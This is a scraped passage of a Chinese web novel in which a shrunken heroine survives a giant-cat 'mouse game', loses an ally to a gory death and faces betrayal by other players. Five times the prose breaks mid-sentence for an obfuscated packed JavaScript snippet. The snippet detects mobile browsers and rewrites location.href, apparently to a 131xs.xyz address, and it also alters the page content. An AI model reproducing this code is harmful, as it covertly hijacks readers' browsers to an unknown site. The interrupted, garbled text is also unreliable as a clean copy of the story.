罗浮站在二人对面,能够清楚地看见对方呆愣愣的目光似乎越过了自己的头顶,不知在看着什么。 她心中警铃大作,在绿毛终于迸出的“沙发”二字中,拔腿向前冲了两步,就地一个翻滚,迅速将自己塞进了沙发底部的空隙里。 同一时间,一只巨大的猫爪“唰”的从沙发边飞快划过! 那些尖利无比的指甲刮在了皮质沙发上,发出一阵刺啦啦的刺耳声响。 “喵呜——” 嘹亮的猫叫声简直像安装了扩音器,在整个客厅里一圈圈回荡开来,震得罗浮耳膜发麻。 随即一抹迅疾的黄色身影擦着沙发边一闪而过,眨眼间扑向了不远处的两个精神小伙! 从罗浮的位置,只能看见那二人的腿脚。 早在猫攻击罗浮时,他们也立刻转身逃跑了——但由于距离和方位关系,他们没办法躲到沙发下面来,只能在那片空地上慌忙逃窜。 可在一只以速度见长的巨猫面前,就算是两个健全人也不可能跑得掉,更何况绿毛还只有一条腿? 就那么一刹那的功夫,罗浮只听见绿毛大吼了一声“你快…”,第二个字的音节都只说出半截,一只锋利的猫爪便已经狠狠挠在了他的后背上! “呲”的一下,血肉与衣物碎片飞溅开来,他顿时惨叫一声,重重摔在了地上。 黄毛是个讲义气的,明明可以自己跑却一直拉着朋友,此时便也跟着摔了下去。 他一骨碌爬起来,跪在后背血淋淋的同伴身边惊慌地大喊:“大阳!大阳!你撑住啊!” 下一刻,头顶突然投下一片巨大的阴影。 他愣愣的抬头去看——正对上一张巨大无比的口。 粉色的舌头、尖利的獠牙,还有一种难闻至极的酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743191|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭味扑面而来。 “跑啊!”绿毛没有昏死过去,无比虚弱地推了推身边的朋友。 明明是如此无力的动作,黄毛却像是子弹般被瞬间弹飞出去,一下子消失在了罗浮的视野范围内。 空气里只留下黄毛愤怒又不甘的一声:“别碰我——” 绿毛叹了口气,十分艰难地让自己侧了侧身子,带着几分视死如归的平静:“来呀,吃了老子。” “嗷呜”一口,橘猫毫不留情地叼起了他。 ……但其实很多人都误会了一件事。 相比于吃掉老鼠,猫通常更喜欢玩弄它们。 当这只硕大无朋的橘猫叼着绿毛抬起头时,它的嘴距离地面的高度,对“老鼠”来说已经达到了三米以上。 然后,“嘭”的一声,它松了口,将绿毛狠狠摔在地上。 绿毛连惨叫的力气都没了,只瘫在地上吐出了一大口血。 然而橘猫的下一次攻击又紧随而至——或许说嬉戏更合适——它收起了锋利的指甲,只用两只巨大的粉嫩肉垫像踢球似的将绿毛刨来推去。 几次之后,它见其毫无反应,又将他叼起来,脑袋一扬便高高抛了出去。 有了仰头和抛出的动作,绿毛被甩得比上一次还高,一旦落地恐怕浑身骨头都要粉碎! ……罗浮实在看不下去了。 虽然对方曾想抢夺她的积分,但橘猫出现时也是他提醒了一声“沙发”。 冲着这个,至少不能让他死得这么惨。 她低低开口:“绿毛瞬移到我旁边来。” 话落,那道被抛上半空的人影蓦然消失,紧接着便从罗浮身边传来一阵低得差点儿听不见的惨叫。 饶是如此,罗浮还是捂住了他的嘴,费力拖着人朝更里面的角落挪了挪。 二人此刻果真像极了两只被猫逼到绝路的老鼠,紧张地缩在角落里,死死盯着外头那只猫的一举一动。 大概是血腥气太重,失去目标的橘猫一下子便找到了沙发这边来。 罗浮看见一只巨大的猫猫头趴在缝隙外面,那双琥珀色眼睛在昏暗光线下发出诡异至极的绿光。 它准确望向了二人所在处,随后探出一只又粗又长的前肢,朝着他们这边不断地挖挠勾刨。 ……好在沙发缝隙不足以让一只成年猫钻进来。 罗浮松了口气,心想过会儿它大约就会失去耐心离开了。 “喵!喵呜~~~” 橘猫果然着急了,两只前爪都伸了进来,一边大叫一边徒劳无功地刨着空气,把沙发下的积灰扬得漫天飞舞。 罗浮扯着衣领捂住口鼻,看了眼旁边半死不活的绿毛,低声道:“再撑一会儿,它走后我会叫你朋友来接你。” 绿毛连睁眼的力气都没有,闻言只努力的笑了一下。 可就在这时,外面突然传来一道打雷般震耳欲聋的声音: “哎哟,我家咪咪怎么急成这样?让妈妈看看沙发下有什么呀?” 随之而来的,是一阵轰隆隆的脚步声。 罗浮脸色一白:这是一座充满了生活气息的房子,那么除了猫和老鼠之外——当然还有主人! 23.要命的扫把 “啊啊啊!!!有老鼠啊啊啊啊啊——” 那张凑到沙发底部、满脸惊恐的女性面孔爆发出震天撼地的尖锐大叫。 罗浮和绿毛缩在角落里,比她还要恐惧得多。 ……他们这辈子都没想到,居然有一天能亲眼见到“巨人”。而且巨人还能被他们两个小鼻嘎吓得如此抓狂。 “姐,咋、咋办?”绿毛紧张得一只手紧紧抓住了罗浮的衣角。他被这么一吓,仿佛回光返照似的稍微恢复了点儿力气。 就在这时,沙发外的那张巨脸迅速抽离了,紧接着便是一双大脚“咚咚”地跑向了某个地方。 地面随之发出轻微的震动,而那只猫依然虎视眈眈地趴在外面死盯着二人。 罗浮快速环视一周——这是一张长沙发,他们目前处于中段靠墙的位置,所以即便前方和左右面都有缝隙,那只猫也没办法碰到两人。 但女主人已经发现了他们,不可能置之不理。现在她暂时离开,也绝对不是因为太过恐惧而逃跑。 此地不宜久留,必须尽快逃走。 可是对正常人只有来说几步的距离,对现在的罗浮而言却像是几百米长的赛道。可以想象:在她跑向任意一侧时,那只巨猫都一定能够提前抵达。 刚想到这里,女主人惊惧紧张的声音果然传了过来:“咪咪!我把它们赶出来,你一定要抓住老鼠啊!” 罗浮透过缝隙见她拿着一把塑料扫把快步走来,停在沙发边,一道浓重的阴影随之笼罩了三分之一的范围。 在罗浮的视角下,一个巨人蹲了下来,朝沙发下塞进一把有卡车那么大的扫帚——粘连着许多头发和灰尘的扫把头气势汹汹地扑了进来,朝二人所在的位置横冲直撞! 不躲不行了——罗浮一把拽住奄奄一息的绿毛,拖着他朝沙发左侧逃去。 然而下一秒,那扫把头竟如长了眼睛似的横扫而来。 罗浮心中微沉,用尽全力将绿毛扛到身后,咬着牙一跃而起! “唰”的一声,扫把头自她脚下狠狠刮了过去。 绿毛发出一声低哑得几乎听不见的惨叫,垂落的那只脚微微动了动。 罗浮连忙低头去看:刚才情况紧急,她来不及将人完全背好,那布满了无数根塑料丝的扫把头竟成了凶狠的利器,从绿毛仅剩的一只脚和小腿部位结结实实扫了过去! 牛仔裤管碎成丝丝缕缕的破布,露出了他血淋淋的、依稀可见白骨的一只腿脚。 这是多么恐怖的“武器”啊……谁能想见,他们今天竟然有可能会死在一把平平无奇的扫把底下! 然而罗浮没感慨的时间——那女主人又抓着扫把一阵疯狂乱舞,二人眼看便要迎来下一次恐怖袭击。 她咬咬牙,低声道:“我拥有非常灵活迅捷的速度。” 得益于异能升级,像这样的能力只要用得不频繁,她倒没觉得身体有什么不适。 哪怕背后挂着一个人,罗浮的速度还是提高了许多,轻轻松松躲过了接下来的两次扫把横扫,并顺利冲向了沙发左侧的缝隙——从这个位置出去,是离她“鼠洞”最近的地方。 可是别忘了,除了女主人之外,沙发边还有一只虎视眈眈的猫。 它一直在跟着二人的位置移动,想必在罗浮钻出沙发的一瞬间,它就会立刻扑上来将他们抓住! 罗浮可不敢拿自己的速度跟一只猫比! 眼看再有大约三米就要到边缘了,巨大的橘猫无声无息地飞掠而来,挡在了二人的去路上。 它亮出一只锋利的爪子,一边“哇哇”怪叫着,一边不断地向内抓挠。 罗浮后退半步,看着那只比自己脑袋还大一些的利爪在鼻尖前方扇出阵阵狂风。 “咪咪,快抓住它们!”女主人尖声吼叫着,也已追至另一侧,趴下身用扫把向他们又捅又扫。 面对这样的前后夹击,如果没有适用的异能,几乎是十死无生! 还好她有——罗浮喉头一滚,开口道:“猫看不……” “呼——” 突如其来的狂风瞬间灌满了她的双耳,令她自己都没听见最后一个“见”字究竟有没有说出口。 眼前的一切景物都在急速飞掠,刹那之间,她竟擦着那只巨猫的脸飞了过去! 被风吹得只剩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745948|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条缝的双眼也能发现视野豁然开朗了——她突然到了客厅里,正不受控制地朝前方的白墙飞去。 这一切可能还不到两秒,直到此刻她才听见空气里荡开一道绿毛声嘶力竭的大喊:“替我保护阿虎!” 与此同时,罗浮反应过来,这是先前绿毛对黄毛使用过一次的异能。 下一秒,她整个人扑在了墙面上。 意料之中的痛感并未出现,她就像动画片里的纸片人那样丝毫没有受到伤害——只轻飘飘、直挺挺倒在了地上。 罗浮用最快速度爬起来,看向沙发下的同一时间,那把巨大的扫把正好“唰”的一声,从倒地不起的绿毛身上完整扫过。 扫把挪走时,在地上拖出了一道长长的、夹杂着碎肉的血痕。 ……那一团血肉模糊、挂着红绿相间头发的,是他的脑袋吗? 怎么能这样——怎么能这样?! 明明两个都可以活的啊!只要他再等那么一秒钟,等她说完那句话就…… 罗浮嗓子里像堵了一团即将孵化的虫卵,令她一阵阵地反胃,却什么都吐不出口。 “故事”还是生效了,那只猫看不见东西,正焦急地喵喵叫个不停。 女主人显然也被吓疯了,跺着脚指着外面的罗浮“啊啊啊”的惊声尖叫,还抓着血肉淋漓的扫把要冲过来打她。 罗浮头皮发麻,顾不得为绿毛惋惜哀叹,连忙以最快速度冲向了自己的“鼠窝”。 好在距离不远,她一口气跑进去,“嗙”的一声关了门。 [获得积分21点。] 同一时间,她脑海里出现了这样的提示。 包里的巧克力经过一番折腾后掉落了不少,只带回这么点儿。 但罗浮现在没心情管这个,满脑子都在重复回放着绿毛死的那一幕。 虽然凭她的能力完全可以带着人一起顺利逃脱,但对方并不知情。那个尚未成年的少年——的确是报着必死之心舍命救她的。 所以不论如何,罗浮都没办法对他的遗言置之不理。 ……等外面安全之后,就去找找那个叫“阿虎”的黄毛吧。 24.戏剧性的反转 再次打开门的时候,外面已经是一片黑暗了。 之前大概属于“刚入夜”时间段,客厅里开着灯非常明亮。而现在,一切物体都变得黑蒙蒙的,只有代表着积分的东西在散发着微弱的光。 不过身为“老鼠”,罗浮的夜视能力显然得到了极大提升,在黑暗里也能轻松视物。 她悄悄出门,朝之前黄毛被拍飞的方向走去。绿毛是为了救朋友才用的能力,所以那个方位大概率就是黄毛“鼠窝”所在地。 一路走来,周围静悄悄的没有半点儿动静,仿佛不止猫和女主人不见了,连其他“老鼠”也都躲了起来。 罗浮警惕地穿过大得像一座商场似的红木桌,沿着客厅的墙面走了好一阵,才终于看见了另一个鼠窝。 门关着,让人分不清这里的“老鼠”现在究竟在不在家。 她也不敢确定这就一定是黄毛的鼠窝,因而提前唤出了长刀,走到门前轻轻敲了两下,低喊道:“阿虎?” “……谁?”门内果然传来一道耳熟的公鸭嗓。 罗浮心落回半截:“你朋友死了,他叫我帮忙保护你。” “我不需要!” 大约是“朋友死了”四个字刺激到了他,他一下子变得激动起来,但随后却沉默下来,片刻后语气缓和了许多:“我想去给他收尸,你能带我过去吗?” 这么在意朋友,为什么当时被拍飞后没有自行赶回去? 从当时他的表现来看,应该不是不想回去。那么他此刻异常的情绪起伏—— 罗浮后退半步,戒备地盯着那道门,手中长刀随时准备挥出:“可以。” 话落,一声轻响,房门打开。 几乎同一时间,一根细黑的长鞭“唰”的迸射而来! 好在罗浮早有准备,迅速侧身闪过,随即长刀一挥,缠在了那截黑鞭上。 不知该说是谁牵制住了谁——一时间,黑鞭抽不回去,刀也被捆了起来。 罗浮顺着长鞭抬眸望去,只见一道高挑的女性身影从“鼠窝”内的黑暗中缓缓走了出来。 她停在距离罗浮一米远的地方,打量片刻后轻轻笑了一声。那双上挑的丹凤眼带着一股永不服输的傲然之气:“反应还挺快的嘛。” 罗浮没理会她,视线越过她的身侧,看向了自她身后冒出来的两个人。 ……顶着一头黄毛的少年被一把刀架着脖子,在他既惊恐又愧疚的面孔后头,是一张洋洋得意的中年男性的脸。 那一脸浮肿的秃头男人咧着被烟熏成黄黑色的牙,嗤笑道:“还真让我们把你给等来了——都世界末日了,还有你这种善心泛滥的女人呢!” 这番话透露的信息量实在不少:他们二人早在罗浮等人被巨猫攻击时就在附近看着,所以黄毛被一掌拍飞后便被他们劫持了,这才没赶回去救朋友。 “不过啊,你们女人本来就这样,都是一群没脑子的蠢货!” 秃头男显然是得意过头了,一张厚嘴唇叭叭个没完:“我劝你不如干脆投降好了——虽然长得是丑了点,但看上去身材还不错,只要你把老子伺候好……” “你说什么?” 在高挑女人平静地问出这四个字的时候,罗浮慢慢后退了两步。 那秃头男站在女人后面,所以没能瞧见她的脸色——早在他高高在上地说什么“你们女人都是蠢货”时,对方的眼里就已经泛起了汹涌的怒意。 “啊?”秃头男被女人问懵了一瞬:“你转过来做什么?抓住她啊……你干什么?我们说好的你都忘了吗?” 罗浮看热闹不嫌事儿大,默默收回长刀,缠绕在刀身的鞭子自然也松开了。 女人瞥她一眼,手中长鞭顺势一扬,“啪”的一声狠狠甩在了秃头男脸上! 对方当即爆发出一阵杀猪似的惨叫,噔噔噔猛退好几步,他握刀架在黄毛脖子上的手也早就不自主地松开了。 高挑女人提鞭追上,冷冷道:“你知道吗——我们啊,早就不是以前那么好欺负的了。” 话音未落,又是毫不留情的一鞭子挥了下去。 这次竟直接甩在了男人最脆弱的部位,罗浮几乎被他的惨叫声震穿耳膜。 她“啧啧”两声,上前拉开黄毛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754098|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声道:“去边上等着。” 话落,低低念叨一句:“……那就先让我熟练使用咏春拳吧。” 下一秒仿佛严咏春附体,罗浮迅速冲过去,避开女人的鞭子,拳拳到肉地痛击在秃头男身上! 由于是在“鼠洞”里面,尽管他叫得撕心裂肺也没有引来巨猫或者房主。 待二人停手时,秃头男已经被揍成了名副其实的猪头,躺在地上浑身一抽一抽的。 罗浮转了转手腕,最后踹他一脚:“现在呢,谁才是蠢货?” 秃头男满嘴是血的躺在地上,含含糊糊说:“……樊响,就因为老子一句话,你宁可不要异能了?” 说完还万分凄惨的吐出一颗断牙。 樊响嘴角一挑,斩钉截铁道:“用你这种人给的异能,我嫌脏。” 罗浮听得云里雾里,但很快明白了是怎么回事。 樊响解释道:“我跟他是在游戏开始后遇上的——我们的‘鼠窝’都在厨房里。我没有异能,他的能力刚好是可以复制他人的异能并粘贴给其他人。但他没有自保能力,所以我们短暂地合作了。” 可这家伙显然完全不了解她,竟然狂妄自大到了当着她一个女人的面侮辱女性的地步!如今可算是自讨苦吃。 随后罗浮通过她了解了整个事情的来龙去脉:在自己和两个精神小伙对峙时,这二人便在客厅桌子这边看见了。后来黄毛被绿毛一掌拍向这个方位,他们就趁机抓了人。 本来樊响以为能将黄毛的异能复制到自己身上,结果却发现对方根本就没有异能。 恰好那时,已经被巨猫高高抛入空中即将摔死的绿毛竟然凭空消失了。二人因此得知罗浮拥有异能并救了人。 后来绿毛临死前拼尽全力吼出那句话,自然也被他们听得真切。于是二人便在这里守株待兔,等着罗浮找上门来。 谁知道,关键时刻秃头男那番话竟让局面如此戏剧性的彻底扭转了。 不过,说到“复制”异能…… 罗浮对樊响已经略有好感,因而开口道:“如果有合适的目标,或许我能帮得上忙。” 25.变异污染区 【令人不齿的抄袭者】虽然有一个非常不妙的副作用,但它“暂时拿走别人能力化为己用”的效果实在不可小觑。 只要找到另一个异能者,罗浮便能使用【抄袭者】暂时拿走秃头男人复制粘贴的能力,再将另一人的异能复制给樊响。 然而当罗浮告诉樊响这个计划时,躺在地上的秃头男终于再也装不下去了。 他不得不亲自揭穿了自己的谎言:“……我根本没有异能,只是个缺乏锻炼的中年上班族。在这种地方,我甚至连爬上去拿放在高处的积分物品都办不到——这靠我自己要怎么活下去?可我是为了活命才不得不撒谎,你们不要……” 他话还没说完,樊响已经愤怒地一脚踹在了他肥硕的肚皮上。伴着他一叠声的惨叫,樊响冷声说道:“我会把他扔出去喂猫。” 惨叫声戛然而止,取而代之的是男人痛哭流涕的哀求。 只是在他看不到的角度,樊响对罗浮慢慢眨了一下眼——她只是在吓唬人而已。 刚刚才突然迎来末日的人类,心肠还没有硬到能够漠视生命的程度。 在樊响将男人提溜着离开鼠窝、扔去外面时,一直待在角落里的黄毛也终于出了声:“……姐你刚才说大阳死了,是真的吗?” 最初见面时他身上还有一股少年独有的清澈和朝气。但此刻这些东西全都没了,仿佛在短短时间里突然就长成了一个饱经沧桑的老人。 罗浮不自主地想起了绿毛死时血腥凄惨的一幕。 她沉默几秒,低低说道:“当时情况很危险,他非常善良勇敢地用能力救了我,但他……你有一个特别棒的朋友。” 黄毛闻言苦涩地笑了一下,面部肌肉这么一挤,眼泪便不受控制地落了下来。 樊响推门进来,低声道:“外面还有两个人,他们爬上了桌子,在拿上面的水果。” 罗浮顾不上安慰黄毛:“我们也该行动起来了——规则只说当有‘老鼠’攒到一百积分时就结束游戏,可没提到那些没攒够的‘老鼠’会遭到怎样的惩罚。” 樊响默了默,说:“如果不介意我没有异能的话,我们联手如何?” 罗浮摆手:“当然不介意,你不提合作我也是要提的。” 有个可靠的人在身边,就不必担心再出现之前一落地就被人抢劫的状况了。 黄毛看上去有一种微死感,完全没有要行动的意思,于是罗浮叮嘱了他不要独自外出后,便与樊响离开了这里,先去搜集积分。 “……厨房里虽然有冰箱,但不论高度还是冰箱门的重量都不是我们能够打得开的。除此之外,那里没有任何发光的物品,所以我和那家伙才会先来客厅。” 樊响和罗浮身高相似,二人在黑暗中并肩而行,同时悄悄的分享信息。 从这个位置,罗浮一抬头就能看见极高的红木桌上有两道晃动的忙碌身影。桌面有只毛线团,线头散开了垂落到地上,那两人大概就是顺着这条线爬上去的。 罗浮和樊响并不想跟人起冲突,况且有能力沿着一条线爬那么高的人也一定不好惹。 罗浮想了想,说:“目前所有带积分的东西都是食物——有一类食物是不用放进冰箱的,比如大米、面粉或者挂面。你们有检查过橱柜吗?” 樊响摇头:“那倒没有,一是橱柜对现在的我们来说并不好开,二是当时想先看看外面情况,就直接到客厅来了。” “那我们去厨房找找好了。” 罗浮这句话刚落地,却听一阵模糊且急促的铃声“叮铃铃”响了起来。 “是卧室方向。”樊响蹙眉道。 罗浮立刻反应过来:“那是闹钟——天要亮了!” 厨房离得还很远,来不及多说,她当即拉起樊响奔向了自己的鼠窝。 在房门“咔哒”一声被她扣上之时,外面刚好传来一道震耳的猫叫。 这游戏显然不是一天二十四小时制,整个夜晚估摸着也就两个小时。白天罗浮睡着了不知道确切时间,如今看来应该也很短。 她示意樊响:“桌上的巧克力都可以吃,趁这个白天补充点体力也好。” 樊响点点头,当即拿了一块巧克力含在嘴里。上挑的丹凤眼眯了眯,闪着丝丝亮光——像是早就饿了。 罗浮坐到旁边,总算是有功夫问问其他信息:“你是怎么被弄到这个游戏里来的?” 樊响神情沉了沉,好一会儿才说:“事情刚发生的时候我在外面跟朋友吃宵夜,由于坐在路边摊,反而幸运的躲过了地震……后来我想赶回家找父母,途中就遇见了那只猫。” 罗浮沉默了:这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770301|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近房子全塌成废墟了,她的父母大概也凶多吉少。不幸中的万幸是,樊响没有被卷进污染区。 “它跟我说,只要我帮它拿到一条鱼,它就给我一个特殊能力,让我马上就能赶回家救父母。” 樊响心里忧虑着父母的安危,语气里全是对那只猫的厌恨:“我想这猫都会说人话了,那它肯定有很强大的能力。谁知道被骗进了这个地方。” “这么说,你是很早就进来的了?”罗浮想起“橘大王”说过,它花了将近十二个小时才凑够人数。 “对。”樊响说:“那是大约凌晨两点左右,我进来时只有一个人。” 罗浮“嗯?”了声:“意思是你见过其他参与者?” 樊响点点头:“应该说,除了你其他的都见过。你肯定是最后一个被骗进来的,你一到游戏就开始了,所以没被猫送到等待区。” 罗浮这才知道这局所谓的游戏总共有八名参与者——其中有三个早早暴露了自己的异能。他们被送到等待区后曾尝试用能力逃出去,结果显然都失败了。 于是一群人聚在那里聊过天,樊响通过他们知道了“异能”和“污染区”、“蜕形种”的存在。 据说其中一个异能者就是从污染区里走出来的。 罗浮生出一丝疑惑,随后恍然大悟:地府的信息都来自勾魂使,那些根本没有勾魂使进入的污染区如果被净化了,消息自然也不会第一时间传递到司监手中。 总而言之,就是有一些非常强大的异能者,在完全没有引导人、不知该怎么做的情况下……竟然顺利走出了污染区。 罗浮不由对那位素未谋面的异能者心生敬佩,也十分感慨“人类”这种生物对环境的惊人适应力。 随后她也将自己掌握的信息详细说了说,希望这些经验在未来能够帮到樊响。 樊响听完她是如何被猫骗进来的故事后,突然说道:“对了,那个异能者猜测过,这个‘游戏场地’是一个[变异污染区]。” 正常的污染区就是罗浮之前处理过的那样。 而变异的,就像眼下这个由一只橘猫引发的游戏——既完全不合常理,偏偏又真实存在。 那么问题来了:变异污染区里,也像正常污染区那样充斥着时时刻刻都在侵袭人类意识力的污染源吗? 26.其他人 原来一个白天也只有两小时而已。当夜晚再次来临时,罗浮甚至都不敢相信自己之前只睡了这么一会儿。 在白天时,鼠窝的门无法被她们打开,而外面也自始至终没有半点动静,像是被薄薄一道门彻底隔绝成了两个世界。 如今总算又到了夜晚,罗浮和樊响第一时间便走了出去。 和昨晚一样,刚入夜时客厅里还开着灯,一切物体都在明亮的灯光下无所遁形。 令罗浮意外的是:那张红木桌上,明明早已被两个参与者搬空了的果盘里,竟然明晃晃地摆了满满一盘子水果。 但转念一想,也不是不能理解——房子有主人嘛,东西没了,她是有可能再添上的。就是显得有些蠢,仿佛她故意养了一屋子老鼠似的。 不过罗浮和樊响都不认为自己有足够的臂力和体力爬上那么高的桌面,因此还是决定按之前的计划,先去厨房翻翻橱柜。 “……嘶。” 从鼠窝出发、前往厨房的直线距离需要经过沙发。在看到沙发底部堪称惨烈的情况时,樊响忍不住发出了一点儿声音。 罗浮总会想起绿毛断了一条腿、拄着根木棍、脸色惨白地对她叫“姐”那一幕。她不忍将视线朝沙发瞥去哪怕一秒,低垂着眼很快走了过去。 走进厨房,光线瞬间暗了下来,整个区域里没有任何发光的积分物品。 但上下橱柜加起来有十个,再加上一台巨大的冰箱,能藏东西的地方实在太多了。 "那家伙的鼠窝在架子后面。"樊响伸手指向一只立在墙角、用来摆放杂物的金属架。 “我的鼠窝在那里。”冰箱与墙壁之间有一道空隙,对于身为老鼠的她们来说足有两三米之宽。 罗浮大致看了看:“上面的橱柜对我们来说简直像天一样高——那位主人看上去个头不算高,应该不会把常用的东西放在上面,我们先开下面的橱柜好了。” 通过排除法,她们首先排除了水槽和燃气灶下的三个柜子:这些地方里面通常都藏着管道,再加上潮湿和热度、油渍,显然都不太适合放食物。 概率最大的就只有中间两个柜子了。 樊响在罗浮的“故事”下漂浮到了离地两米的高度,挥出手中长鞭“啪”的一声准确无误地缠在了把手上。 随后二人咬牙切齿地一阵用力,总算是拉开了柜门。 ……差点儿被里面的光芒照瞎了眼。 罗浮偏开头,好一会儿才半眯着眼看去——柜子里有只密封米桶,旁边是一袋子用过三分之一的面粉,还有几颗土豆。 所有东西都在发光,简直像是在招呼她们:快来拿走我们呀~ 二人对视一眼,齐齐上前触碰那些东西。 樊响:“五十八点。” “七十三点。”罗浮听见自己的心跳加速了一下。 竟然一次性找到了这么多积分,再加上她先前获得的,总数达到了152点! 若只是一个人行动的话,她甚至已经可以带着东西回鼠窝结束这场游戏了。 但规则中没有提到最终积分不够的“老鼠”会怎样,所以至少还要凑到148分,确保樊响、黄毛和罗浮三人都能安全存活着完成游戏。 客厅桌上的水果显然不够,而卧室出现食物的概率低、风险大。卫生间就更不用说了。 那么冰箱是不得不打开了。 “先把这里的积分拿进鼠窝再说。”罗浮低声说道:“你先拿米桶,面粉一会儿我们给阿虎拿过去,我就留着土豆好了。” 樊响没异议,弯腰搬起米桶,转身走向自己藏在冰箱侧面的鼠窝。 罗浮没有跟过去,站在原地遥遥望着那几乎“顶天”的巨大冰箱,拧着眉头思索该怎么样将它打开。 还有一个问题——积分最多的地方应该就厨房和客厅,怎么至今没有见到其他人? ……罗浮忽然怀疑,自己可能还发展出了另一个异能:乌鸦嘴。 因为就在念头刚生出来的那一刻,她便看见正走向鼠窝的樊响突然顿住了脚步。 对方停在冰箱和墙壁间的缝隙里,背对着罗浮,叫人看不出她究竟遭遇了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773447|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但随着她一步步地向外退出来,罗浮终于看见了一根正对着她心脏的“针”。 尖细、锐利,寒光凌冽。 当樊响退到空旷处后,一直藏匿在那里的人也终于现出真身。 真该狠心点儿杀了他的——看到熟悉的秃头男人露面时,罗浮忍不住冒出了这个恶意满满的念头。 那根“针”连接在一个陌生青年的右手腕里,像是从他身体里生长出来的东西。他有着两个非常显眼的黑眼圈,几乎快要占据面颊的一半面积,看上去古怪又滑稽,让罗浮不自主的想起了大熊猫。 在“熊猫”身后,便跟着畏畏缩缩、一副走狗样的秃头男。 另外还有个老神在在的白皮肤女人。她白得简直不像活人,偏偏从头发到衣着全是黑色,又站在黑暗的环境里,乍一看仿佛空气里飘着一颗死人头。 秃头男趁着樊响不敢妄动时,上前夺走了她手里的米桶,还洋洋得意地瞪了她一眼——可惜他满脸淤青,这些动作只会让人感到可笑。 “嘿嘿……鸣姐,月哥,整整58点积分呢!”秃头男谄媚地冲二人点头哈腰:“你们瞧,我没说瞎话吧,她们肯定是会来厨房搜积分的!你们放心,这女人没有异能,好收拾得很!” 那两人似乎也不怎么看得上他,连一个眼神都没给。 “熊猫”倒是遥遥望向了站在远处的罗浮,出声道:“把东西给我们拿过来,否则就准备好为你的队友收尸吧。” 罗浮其实可以利用“故事”帮樊响脱身,问题是,总要樊响听见自己有了这个能力才行。 可同时其他人也会听见。那两人的异能目前还不明确,万一刚好能够克制呢?还是先不要贸然行动比较好。 她想到这里,弯腰提起面粉袋子和几颗土豆,一步步走了过去。 白皮肤女人漆黑无光的双眼直勾勾地盯着她,虽然一个字都没说,却让罗浮感到了一种难以言喻的压迫。 “她就是……那个从污染区出来的异能者。” 樊响略显凝重的声音传进了罗浮耳中。 27.污染物? 罗浮停在距离对方两米远的地方,眼看“熊猫”指示秃头男过来拿东西,立刻退了一步,沉声道:“你们要积分,我要人,我们应该是同时交换才对。” “哦?”这次出声的是白皮肤女人。 她没有任何表情,一张惨白的脸像面具似的融在黑色的头发和黑色高领毛衣里——连双手也戴着黑色皮手套,除了面部之外,竟没有一丝皮肤暴露在外。 那双黑色眼睛简直像贴在白纸上的平面贴花,它们微微转动了一下落在罗浮脸上,艳红如血的唇不断开合,发出一阵不似活人的声音。 罗浮费了一点儿想象力,才将那段声音组合成一段话:“你以为你还有资格谈条件么?说这话前,不如先试试你的能力。” 她顿觉大事不妙,连忙以极低的声音念了一句故事。 果然……毫无反应。 罗浮后背沁出了一层冷汗,心知对方的能力想必就是:限制别人使用异能。 可失去了能力后,她便只是芸芸众生里平凡普通、毫不起眼的一个人。就算是对上那个一无是处的秃头中年男人,她也不见得有几分胜算。 但既然自己已经到了如此境地对方都没有动手……看来暂时是不会杀她们的。这样一来,就总归还有办法。 罗浮当即放下手里的东西,举手投降:“我认栽。” 